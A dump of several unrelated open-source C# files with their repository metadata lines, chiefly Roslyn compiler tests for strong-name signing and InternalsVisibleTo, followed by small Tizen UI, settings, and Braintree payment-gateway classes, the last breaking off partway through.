DelaySignWithAssemblySignatureKey() { //Note that this SignatureKey is some random one that I found in the devdiv build. //It is not related to the other keys we use in these tests. //In the native compiler, when the AssemblySignatureKey attribute is present, and //the binary is configured for delay signing, the contents of the assemblySignatureKey attribute //(rather than the contents of the keyfile or container) are used to compute the size needed to //reserve in the binary for its signature. Signing using this key is only supported via sn.exe var other = CreateCompilation( @" [assembly: System.Reflection.AssemblyDelaySign(true)] [assembly: System.Reflection.AssemblySignatureKey(""002400000c800000140100000602000000240000525341310008000001000100613399aff18ef1a2c2514a273a42d9042b72321f1757102df9ebada69923e2738406c21e5b801552ab8d200a65a235e001ac9adc25f2d811eb09496a4c6a59d4619589c69f5baf0c4179a47311d92555cd006acc8b5959f2bd6e10e360c34537a1d266da8085856583c85d81da7f3ec01ed9564c58d93d713cd0172c8e23a10f0239b80c96b07736f5d8b022542a4e74251a5f432824318b3539a5a087f8e53d2f135f9ca47f3bb2e10aff0af0849504fb7cea3ff192dc8de0edad64c68efde34c56d302ad55fd6e80f302d5efcdeae953658d3452561b5f36c542efdbdd9f888538d374cef106acf7d93a4445c3c73cd911f0571aaf3d54da12b11ddec375b3"", ""a5a866e1ee186f807668209f3b11236ace5e21f117803a3143abb126dd035d7d2f876b6938aaf2ee3414d5420d753621400db44a49c486ce134300a2106adb6bdb433590fef8ad5c43cba82290dc49530effd86523d9483c00f458af46890036b0e2c61d077d7fbac467a506eba29e467a87198b053c749aa2a4d2840c784e6d"")] public class C { static void Foo() {} }", new MetadataReference[] { MscorlibRef_v4_0_30316_17626 }, options: TestOptions.ReleaseDll.WithDelaySign(true).WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); using (var metadata = ModuleMetadata.CreateFromImage(other.EmitToArray())) { var header = metadata.Module.PEReaderOpt.PEHeaders.CorHeader; //confirm header has expected SN signature size Assert.Equal(256, header.StrongNameSignatureDirectory.Size); } } [WorkItem(545720, "DevDiv")] [WorkItem(530050, "DevDiv")] [Fact] public void InvalidAssemblyName() { var il = @" .assembly extern mscorlib { } .assembly asm1 { .custom instance void [mscorlib]System.Runtime.CompilerServices.InternalsVisibleToAttribute::.ctor(string) = ( 01 00 09 2F 5C 3A 2A 3F 27 3C 3E 7C 00 00 ) // .../\:*?'<>|.. } .class private auto ansi beforefieldinit Base extends [mscorlib]System.Object { .method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ldarg.0 call instance void [mscorlib]System.Object::.ctor() ret } } "; var csharp = @" class Derived : Base { } "; var ilRef = CompileIL(il, appendDefaultHeader: false); var comp = CreateCompilationWithMscorlib(csharp, new[] { ilRef }, assemblyName: "asm2", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); comp.VerifyDiagnostics( // NOTE: dev10 reports WRN_InvalidAssemblyName, but Roslyn won't (DevDiv #15099). // (2,17): error CS0122: 'Base' is inaccessible due to its protection level // class Derived : Base Diagnostic(ErrorCode.ERR_BadAccess, "Base").WithArguments("Base")); } [WorkItem(546331, "DevDiv")] [Fact] public void IvtVirtualCall1() { var source1 = @" [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm2"")] public class A { internal virtual void M() { } internal virtual int P { get { return 0; } } internal virtual event System.Action E { add { } remove { } } } "; var source2 = @" [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm3"")] public class B : A { internal override void M() { } internal override int P { get { return 0; } } internal override event System.Action E { add { } remove { } } } "; var source3 = @" using System; using System.Linq.Expressions; public class C : B { internal override void M() { } void Test() { C c = new C(); c.M(); int x = c.P; c.E += null; } void TestET() { C c = new C(); Expression<Action> expr = () => c.M(); } } "; var comp1 = CreateCompilationWithMscorlib(source1, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm1"); comp1.VerifyDiagnostics(); var ref1 = new CSharpCompilationReference(comp1); var comp2 = CreateCompilationWithMscorlib(source2, new[] { ref1 }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm2"); comp2.VerifyDiagnostics(); var ref2 = new CSharpCompilationReference(comp2); var comp3 = CreateCompilationWithMscorlib(source3, new[] { SystemCoreRef, ref1, ref2 }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm3"); comp3.VerifyDiagnostics(); // Note: calls B.M, not A.M, since asm1 is not accessible. var verifier = CompileAndVerify(comp3, emitOptions: TestEmitters.CCI); verifier.VerifyIL("C.Test", @" { // Code size 25 (0x19) .maxstack 2 IL_0000: newobj ""C..ctor()"" IL_0005: dup IL_0006: callvirt ""void B.M()"" IL_000b: dup IL_000c: callvirt ""int B.P.get"" IL_0011: pop IL_0012: ldnull IL_0013: callvirt ""void B.E.add"" IL_0018: ret }"); verifier.VerifyIL("C.TestET", @" { // Code size 85 (0x55) .maxstack 3 IL_0000: newobj ""C.<>c__DisplayClass0..ctor()"" IL_0005: dup IL_0006: newobj ""C..ctor()"" IL_000b: stfld ""C C.<>c__DisplayClass0.c"" IL_0010: ldtoken ""C.<>c__DisplayClass0"" IL_0015: call ""System.Type System.Type.GetTypeFromHandle(System.RuntimeTypeHandle)"" IL_001a: call ""System.Linq.Expressions.ConstantExpression System.Linq.Expressions.Expression.Constant(object, System.Type)"" IL_001f: ldtoken ""C C.<>c__DisplayClass0.c"" IL_0024: call ""System.Reflection.FieldInfo System.Reflection.FieldInfo.GetFieldFromHandle(System.RuntimeFieldHandle)"" IL_0029: call ""System.Linq.Expressions.MemberExpression System.Linq.Expressions.Expression.Field(System.Linq.Expressions.Expression, System.Reflection.FieldInfo)"" IL_002e: ldtoken ""void B.M()"" IL_0033: call ""System.Reflection.MethodBase System.Reflection.MethodBase.GetMethodFromHandle(System.RuntimeMethodHandle)"" IL_0038: castclass ""System.Reflection.MethodInfo"" IL_003d: ldc.i4.0 IL_003e: newarr ""System.Linq.Expressions.Expression"" IL_0043: call ""System.Linq.Expressions.MethodCallExpression System.Linq.Expressions.Expression.Call(System.Linq.Expressions.Expression, System.Reflection.MethodInfo, params System.Linq.Expressions.Expression[])"" IL_0048: ldc.i4.0 IL_0049: newarr ""System.Linq.Expressions.ParameterExpression"" IL_004e: call ""System.Linq.Expressions.Expression<System.Action> System.Linq.Expressions.Expression.Lambda<System.Action>(System.Linq.Expressions.Expression, params System.Linq.Expressions.ParameterExpression[])"" IL_0053: pop IL_0054: ret } "); } [WorkItem(546331, "DevDiv")] [Fact] public void IvtVirtualCall2() { var source1 = @" [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm2"")] [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm4"")] public class A { internal virtual void M() { } internal virtual int P { get { return 0; } } internal virtual event System.Action E { add { } remove { } } } "; var source2 = @" [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm3"")] public class B : A { internal override void M() { } internal override int P { get { return 0; } } internal override event System.Action E { add { } remove { } } } "; var source3 = @" [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm4"")] public class C : B { internal override void M() { } internal override int P { get { return 0; } } internal override event System.Action E { add { } remove { } } } "; var source4 = @" using System; using System.Linq.Expressions; public class D : C { internal override void M() { } void Test() { D d = new D(); d.M(); int x = d.P; d.E += null; } void TestET() { D d = new D(); Expression<Action> expr = () => d.M(); } } "; var comp1 = CreateCompilationWithMscorlib(source1, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm1"); comp1.VerifyDiagnostics(); var ref1 = new CSharpCompilationReference(comp1); var comp2 = CreateCompilationWithMscorlib(source2, new[] { ref1 }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm2"); comp2.VerifyDiagnostics(); var ref2 = new CSharpCompilationReference(comp2); var comp3 = CreateCompilationWithMscorlib(source3, new[] { ref1, ref2 }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm3"); comp3.VerifyDiagnostics(); var ref3 = new CSharpCompilationReference(comp3); var comp4 = CreateCompilationWithMscorlib(source4, new[] { SystemCoreRef, ref1, ref2, ref3 }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm4"); comp4.VerifyDiagnostics(); // Note: calls C.M, not A.M, since asm2 is not accessible (stops search). // Confirmed in Dev11. var verifier = CompileAndVerify(comp4, emitOptions: TestEmitters.CCI); verifier.VerifyIL("D.Test", @" { // Code size 25 (0x19) .maxstack 2 IL_0000: newobj ""D..ctor()"" IL_0005: dup IL_0006: callvirt ""void C.M()"" IL_000b: dup IL_000c: callvirt ""int C.P.get"" IL_0011: pop IL_0012: ldnull IL_0013: callvirt ""void C.E.add"" IL_0018: ret }"); verifier.VerifyIL("D.TestET", @" { // Code size 85 (0x55) .maxstack 3 IL_0000: newobj ""D.<>c__DisplayClass0..ctor()"" IL_0005: dup IL_0006: newobj ""D..ctor()"" IL_000b: stfld ""D D.<>c__DisplayClass0.d"" IL_0010: ldtoken ""D.<>c__DisplayClass0"" IL_0015: call ""System.Type System.Type.GetTypeFromHandle(System.RuntimeTypeHandle)"" IL_001a: call ""System.Linq.Expressions.ConstantExpression System.Linq.Expressions.Expression.Constant(object, System.Type)"" IL_001f: ldtoken ""D D.<>c__DisplayClass0.d"" IL_0024: call ""System.Reflection.FieldInfo System.Reflection.FieldInfo.GetFieldFromHandle(System.RuntimeFieldHandle)"" IL_0029: call ""System.Linq.Expressions.MemberExpression System.Linq.Expressions.Expression.Field(System.Linq.Expressions.Expression, System.Reflection.FieldInfo)"" IL_002e: ldtoken ""void C.M()"" IL_0033: call ""System.Reflection.MethodBase System.Reflection.MethodBase.GetMethodFromHandle(System.RuntimeMethodHandle)"" IL_0038: castclass ""System.Reflection.MethodInfo"" IL_003d: ldc.i4.0 IL_003e: newarr ""System.Linq.Expressions.Expression"" IL_0043: call ""System.Linq.Expressions.MethodCallExpression System.Linq.Expressions.Expression.Call(System.Linq.Expressions.Expression, System.Reflection.MethodInfo, params System.Linq.Expressions.Expression[])"" IL_0048: ldc.i4.0 IL_0049: newarr ""System.Linq.Expressions.ParameterExpression"" IL_004e: call ""System.Linq.Expressions.Expression<System.Action> System.Linq.Expressions.Expression.Lambda<System.Action>(System.Linq.Expressions.Expression, params System.Linq.Expressions.ParameterExpression[])"" IL_0053: pop IL_0054: ret }"); } [Fact] public void IvtVirtual_ParamsAndDynamic() { var source1 = @" [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm2"")] public class A { internal virtual void F(params int[] a) { } internal virtual void G(System.Action<dynamic> a) { } [System.Obsolete(""obsolete"", true)] internal virtual void H() { } internal virtual int this[int x, params int[] a] { get { return 0; } } } "; // use IL to generate code that doesn't have synthesized ParamArrayAttribute on int[] parameters: // [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""asm3"")] // public class B : A // { // internal override void F(int[] a) { } // internal override void G(System.Action<object> a) { } // internal override void H() { } // internal override int this[int x, int[] a] { get { return 0; } } // } var source2 = @" .assembly extern asm1 { .ver 0:0:0:0 } .assembly extern mscorlib { .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4.. .ver 4:0:0:0 } .assembly asm2 { .custom instance void [mscorlib]System.Runtime.CompilerServices.InternalsVisibleToAttribute::.ctor(string) = ( 01 00 04 61 73 6D 33 00 00 ) // ...asm3.. } .class public auto ansi beforefieldinit B extends [asm1]A { .custom instance void [mscorlib]System.Reflection.DefaultMemberAttribute::.ctor(string) = ( 01 00 04 49 74 65 6D 00 00 ) // ...Item.. .method assembly hidebysig strict virtual instance void F(int32[] a) cil managed { nop ret } .method assembly hidebysig strict virtual instance void G(class [mscorlib]System.Action`1<object> a) cil managed { nop ret } .method assembly hidebysig strict virtual instance void H() cil managed { nop ret } .method assembly hidebysig specialname strict virtual instance int32 get_Item(int32 x, int32[] a) cil managed { ldloc.0 ret } .method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ldarg.0 call instance void [asm1]A::.ctor() ret } .property instance int32 Item(int32, int32[]) { .get instance int32 B::get_Item(int32, int32[]) } }"; var source3 = @" public class C : B { void Test() { C c = new C(); c.F(); c.G(x => x.Bar()); c.H(); var z = c[1]; } } "; var comp1 = CreateCompilationWithMscorlib(source1, new[] { SystemCoreRef }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm1"); comp1.VerifyDiagnostics(); var ref1 = new CSharpCompilationReference(comp1); var ref2 = CompileIL(source2, appendDefaultHeader: false); var comp3 = CreateCompilationWithMscorlib(source3, new[] { SystemCoreRef, ref1, ref2 }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "asm3"); comp3.VerifyDiagnostics( // (7,9): error CS7036: There is no argument given that corresponds to the required formal parameter 'a' of 'B.F(int[])' Diagnostic(ErrorCode.ERR_NoCorrespondingArgument, "F").WithArguments("a", "B.F(int[])").WithLocation(7, 11), // (8,20): error CS1061: 'object' does not contain a definition for 'Bar' and no extension method 'Bar' accepting a first argument of type 'object' could be found (are you missing a using directive or an assembly reference?) Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "Bar").WithArguments("object", "Bar").WithLocation(8, 20), // (10,17): error CS7036: There is no argument given that corresponds to the required formal parameter 'a' of 'B.this[int, int[]]' Diagnostic(ErrorCode.ERR_NoCorrespondingArgument, "c[1]").WithArguments("a", "B.this[int, int[]]").WithLocation(10, 17)); } [Fact] [WorkItem(529779, "DevDiv")] public void Bug529779_1() { CSharpCompilation unsigned = CreateCompilationWithMscorlib( @" public class C1 {} ", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "Unsigned"); CSharpCompilation other = CreateCompilationWithMscorlib( @" public class C { internal void Foo() { var x = new System.Guid(); System.Console.WriteLine(x); } } ", options:TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); CompileAndVerify(other.WithReferences(new []{other.References.ElementAt(0), new CSharpCompilationReference(unsigned)}), emitOptions: TestEmitters.CCI).VerifyDiagnostics(); CompileAndVerify(other.WithReferences(new[] { other.References.ElementAt(0), MetadataReference.CreateFromStream(unsigned.EmitToStream()) }), emitOptions: TestEmitters.CCI).VerifyDiagnostics(); } [Fact] [WorkItem(529779, "DevDiv")] public void Bug529779_2() { CSharpCompilation unsigned = CreateCompilationWithMscorlib( @" public class C1 {} ", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "Unsigned"); CSharpCompilation other = CreateCompilationWithMscorlib( @" public class C { internal void Foo() { var x = new C1(); System.Console.WriteLine(x); } } ", options:TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider).WithCryptoKeyFile(KeyPairFile)); var comps = new [] {other.WithReferences(new []{other.References.ElementAt(0), new CSharpCompilationReference(unsigned)}), other.WithReferences(new []{other.References.ElementAt(0), MetadataReference.CreateFromStream(unsigned.EmitToStream()) })}; foreach (var comp in comps) { var outStrm = new MemoryStream(); var emitResult = comp.Emit(outStrm); // Dev12 reports an error Assert.True(emitResult.Success); emitResult.Diagnostics.Verify( // warning CS8002: Referenced assembly 'Unsigned, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' does not have a strong name. Diagnostic(ErrorCode.WRN_ReferencedAssemblyDoesNotHaveStrongName).WithArguments("Unsigned, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null")); } } [Fact] public void AssemblySignatureKeyAttribute_1() { var other = CreateCompilation( @" [assembly: System.Reflection.AssemblySignatureKeyAttribute( ""00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"", ""bc6402e37ad723580b576953f40475ceae4b784d3661b90c3c6f5a1f7283388a7880683e0821610bee977f70506bb75584080e01b2ec97483c4d601ce1c981752a07276b420d78594d0ef28f8ec016d0a5b6d56cfc22e9f25a2ed9545942ccbf2d6295b9528641d98776e06a3273ab233271a3c9f53099b4d4e029582a6d5819"")] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider), references: new [] {MscorlibRef_v4_0_30316_17626}); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var success = other.Emit(outStrm); Assert.True(success.Success); } AssertFileIsSigned(tempFile); } [Fact] public void AssemblySignatureKeyAttribute_2() { var other = CreateCompilation( @" [assembly: System.Reflection.AssemblySignatureKeyAttribute( ""xxx 00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"", ""bc6402e37ad723580b576953f40475ceae4b784d3661b90c3c6f5a1f7283388a7880683e0821610bee977f70506bb75584080e01b2ec97483c4d601ce1c981752a07276b420d78594d0ef28f8ec016d0a5b6d56cfc22e9f25a2ed9545942ccbf2d6295b9528641d98776e06a3273ab233271a3c9f53099b4d4e029582a6d5819"")] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider), references: new[] { MscorlibRef_v4_0_30316_17626 }); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var success = other.Emit(outStrm); Assert.False(success.Success); success.Diagnostics.Verify( // (3,1): error CS8003: Invalid signature public key specified in AssemblySignatureKeyAttribute. // "xxx 00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb", Diagnostic(ErrorCode.ERR_InvalidSignaturePublicKey, @"""xxx 00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb""")); } } [Fact] public void AssemblySignatureKeyAttribute_3() { var other = CreateCompilation( @" [assembly: System.Reflection.AssemblySignatureKeyAttribute( ""00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"", ""FFFFbc6402e37ad723580b576953f40475ceae4b784d3661b90c3c6f5a1f7283388a7880683e0821610bee977f70506bb75584080e01b2ec97483c4d601ce1c981752a07276b420d78594d0ef28f8ec016d0a5b6d56cfc22e9f25a2ed9545942ccbf2d6295b9528641d98776e06a3273ab233271a3c9f53099b4d4e029582a6d5819"")] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider), references: new[] { MscorlibRef_v4_0_30316_17626 }); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var result = other.Emit(outStrm); Assert.False(result.Success); result.Diagnostics.VerifyErrorCodes( // error CS7027: Error signing output with public key from file 'KeyPairFile.snk' -- Invalid countersignature specified in AssemblySignatureKeyAttribute. (Exception from HRESULT: 0x80131423) Diagnostic(ErrorCode.ERR_PublicKeyFileFailure)); } } [Fact] public void AssemblySignatureKeyAttribute_4() { var other = CreateCompilation( @" [assembly: System.Reflection.AssemblySignatureKeyAttribute( ""xxx 00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"", ""bc6402e37ad723580b576953f40475ceae4b784d3661b90c3c6f5a1f7283388a7880683e0821610bee977f70506bb75584080e01b2ec97483c4d601ce1c981752a07276b420d78594d0ef28f8ec016d0a5b6d56cfc22e9f25a2ed9545942ccbf2d6295b9528641d98776e06a3273ab233271a3c9f53099b4d4e029582a6d5819"")] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(PublicKeyFile).WithDelaySign(true).WithStrongNameProvider(DefaultProvider), references: new[] { MscorlibRef_v4_0_30316_17626 }); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var success = other.Emit(outStrm); Assert.False(success.Success); success.Diagnostics.Verify( // (3,1): error CS8003: Invalid signature public key specified in AssemblySignatureKeyAttribute. // "xxx 00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb", Diagnostic(ErrorCode.ERR_InvalidSignaturePublicKey, @"""xxx 00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb""") ); } } [Fact] public void AssemblySignatureKeyAttribute_5() { var other = CreateCompilation( @" [assembly: System.Reflection.AssemblySignatureKeyAttribute( ""00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"", ""FFFFbc6402e37ad723580b576953f40475ceae4b784d3661b90c3c6f5a1f7283388a7880683e0821610bee977f70506bb75584080e01b2ec97483c4d601ce1c981752a07276b420d78594d0ef28f8ec016d0a5b6d56cfc22e9f25a2ed9545942ccbf2d6295b9528641d98776e06a3273ab233271a3c9f53099b4d4e029582a6d5819"")] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(PublicKeyFile).WithDelaySign(true).WithStrongNameProvider(DefaultProvider), references: new[] { MscorlibRef_v4_0_30316_17626 }); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var success = other.Emit(outStrm); Assert.True(success.Success); } } [Fact] public void AssemblySignatureKeyAttribute_6() { var other = CreateCompilation( @" [assembly: System.Reflection.AssemblySignatureKeyAttribute( null, ""bc6402e37ad723580b576953f40475ceae4b784d3661b90c3c6f5a1f7283388a7880683e0821610bee977f70506bb75584080e01b2ec97483c4d601ce1c981752a07276b420d78594d0ef28f8ec016d0a5b6d56cfc22e9f25a2ed9545942ccbf2d6295b9528641d98776e06a3273ab233271a3c9f53099b4d4e029582a6d5819"")] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(PublicKeyFile).WithDelaySign(true).WithStrongNameProvider(DefaultProvider), references: new[] { MscorlibRef_v4_0_30316_17626 }); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var success = other.Emit(outStrm); Assert.False(success.Success); success.Diagnostics.Verify( // (3,1): error CS8003: Invalid signature public key specified in AssemblySignatureKeyAttribute. // null, Diagnostic(ErrorCode.ERR_InvalidSignaturePublicKey, "null") ); } } [Fact] public void AssemblySignatureKeyAttribute_7() { var other = CreateCompilation( @" [assembly: System.Reflection.AssemblySignatureKeyAttribute( ""00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"", null)] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(PublicKeyFile).WithDelaySign(true).WithStrongNameProvider(DefaultProvider), references: new[] { MscorlibRef_v4_0_30316_17626 }); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var success = other.Emit(outStrm); Assert.True(success.Success); } } [Fact, WorkItem(769840, "DevDiv")] public void Bug769840() { var ca = CreateCompilationWithMscorlib( @" [assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""Bug769840_B, PublicKey = 0024000004800000940000000602000000240000525341310004000001000100458a131798af87d9e33088a3ab1c6101cbd462760f023d4f41d97f691033649e60b42001e94f4d79386b5e087b0a044c54b7afce151b3ad19b33b332b83087e3b8b022f45b5e4ff9b9a1077b0572ff0679ce38f884c7bd3d9b4090e4a7ee086b7dd292dc20f81a3b1b8a0b67ee77023131e59831c709c81d11c6856669974cc4"")] internal class A { public int Value = 3; } ", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "Bug769840_A"); CompileAndVerify(ca); var cb = CreateCompilationWithMscorlib( @" internal class B { public A GetA() { return new A(); } }", options: TestOptions.ReleaseModule.WithStrongNameProvider(DefaultProvider), assemblyName: "Bug769840_B", references: new[] { new CSharpCompilationReference(ca)}); CompileAndVerify(cb, verify:false).Diagnostics.Verify(); } #endregion }
41.907753
894
0.714953
[ "Apache-2.0" ]
enginekit/copy_of_roslyn
Src/Compilers/CSharp/Test/Emit/Attributes/InternalsVisibleToAndStrongNameTests.cs
74,053
C#
/* * Copyright (c) 2018 Samsung Electronics Co., Ltd All Rights Reserved * * Licensed under the Flora License, Version 1.1 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://floralicense.org/license/ * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System.Collections.ObjectModel; using System.Collections.Specialized; using System.Linq; using Tizen.Wearable.CircularUI.Forms; using Xamarin.Forms; [assembly: ExportRenderer(typeof(CirclePage), typeof(Tizen.Wearable.CircularUI.Forms.Renderer.CirclePageRenderer))] namespace Tizen.Wearable.CircularUI.Forms.Renderer { class ReObservableCollection<T> : ObservableCollection<T> { protected override void ClearItems() { var oldItems = Items.ToList(); Items.Clear(); using (BlockReentrancy()) { OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, oldItems)); } base.ClearItems(); } } }
33.756098
122
0.70737
[ "SHL-0.51" ]
JoonghyunCho/Tizen.CircularUI
src/Tizen.Wearable.CircularUI.Forms.Renderer/ReObservableCollection.cs
1,386
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.34014 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace mbackup.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
34.258065
151
0.580038
[ "MIT" ]
tacores/music-backup
mbackup/Properties/Settings.Designer.cs
1,064
C#
using Microsoft.VisualStudio.TestTools.UnitTesting; namespace SharesightImporter.Tests { [TestClass] public class UnitTest1 { [TestMethod] public void TestMethod1() { } } }
15.857143
51
0.621622
[ "MIT" ]
0Lucifer0/SharesiesToSharesight
test/SharesightImporter.Tests/UnitTest1.cs
222
C#
#pragma warning disable 1591 using Braintree.Exceptions; using System.Threading.Tasks; using System; using System.Xml; using System.Collections.Generic; namespace Braintree { class DisputeAddEvidenceRequest : Request { public string Comments { get; set; } public string DocumentId { get; set; } public override string ToXml() { if (Comments != null) { return RequestBuilder.BuildXMLElement("comments", Comments); } if (DocumentId != null) { return RequestBuilder.BuildXMLElement("document-upload-id", DocumentId); } return ""; } } /// <summary> /// Provides operations for creating, finding, updating, and deleting disputes /// </summary> public class DisputeGateway : IDisputeGateway { private readonly BraintreeService Service; private readonly IBraintreeGateway Gateway; private DisputeSearchRequest DisputeSearch { get; set; } protected internal DisputeGateway(IBraintreeGateway gateway) { gateway.Configuration.AssertHasAccessTokenOrKeys(); Gateway = gateway; Service = gateway.Service; } public virtual Result<Dispute> Accept(string disputeId) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = Service.Put(Service.MerchantPath() + 